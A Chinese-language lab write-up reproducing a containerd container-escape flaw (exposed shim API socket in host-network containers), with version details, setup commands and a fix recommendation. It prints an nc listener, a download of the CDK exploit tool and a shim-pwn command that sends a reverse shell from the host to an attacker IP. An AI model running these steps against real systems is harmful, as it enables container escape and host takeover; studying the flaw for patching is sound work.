1.漏洞描述

containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。

2.漏洞原理

当在docker使用–net=host参数启动,与宿主机共享net namespace时,容器中的攻击者可以绕过访问权限访问 containerd 的控制API 进而导致权限提升。

3.影响版本

containerd < 1.4.3

containerd < 1.3.9

4.POC

下载地址:https://github.com/Xyntax/CDK/releases/tag/0.1.6

5.环境准备

Kali

192.168.42.138

Ubuntu

192.168.42.145

安装docker版本:18.06.1-ce

安装runc版本:1.0.0-rc5

安装containerd版本:1.2.0

6.漏洞复现

列出可用的containerd

apt-cache madison containerd

选择一个版本来安装

sudo apt-get install containerd=1.2.6-0ubuntu1~16.04.4

查看containerd版本

ctr version

下载POC

wget https://github.com/cdk-team/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz

查看系统信息,显示本系统为ubuntu 16.04版本

通过--net=host 作为启动参数来运行一个容器

docker run -it --net=host ubuntu:16.04 /bin/bash

在容器内执行如下命令,可看到抽象命名空间Unix域套接字

cat /proc/net/unix|grep -a "containerd-shim"

PS 生成的前12个字符为容器CONTAINER ID号

将解压cdk_linux_amd64文件拷贝到容器tmp文件夹下

Kali开启nc监听

nc –lvp 1919

在容器中执行exp,自动搜索可用的socket并反弹宿主机的shell到远端服务器,完成逃逸

./cdk_linux_amd64 run shim-pwn 192.168.42.138 1919

7.修复建议

升级containerd至最新版本。

GitHub 加速计划 / li / linux-dash
10.39 K
1.2 K A beautiful web dashboard for Linux 最近提交 (Master分支:2 个月前 )
186a802e added ecosystem file for PM2 4 年前
5def40a3 Add host customization support for the NodeJS version 4 年前
Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

  • 浏览量 7376
  • 收藏 0
  • 0

所有评论(0)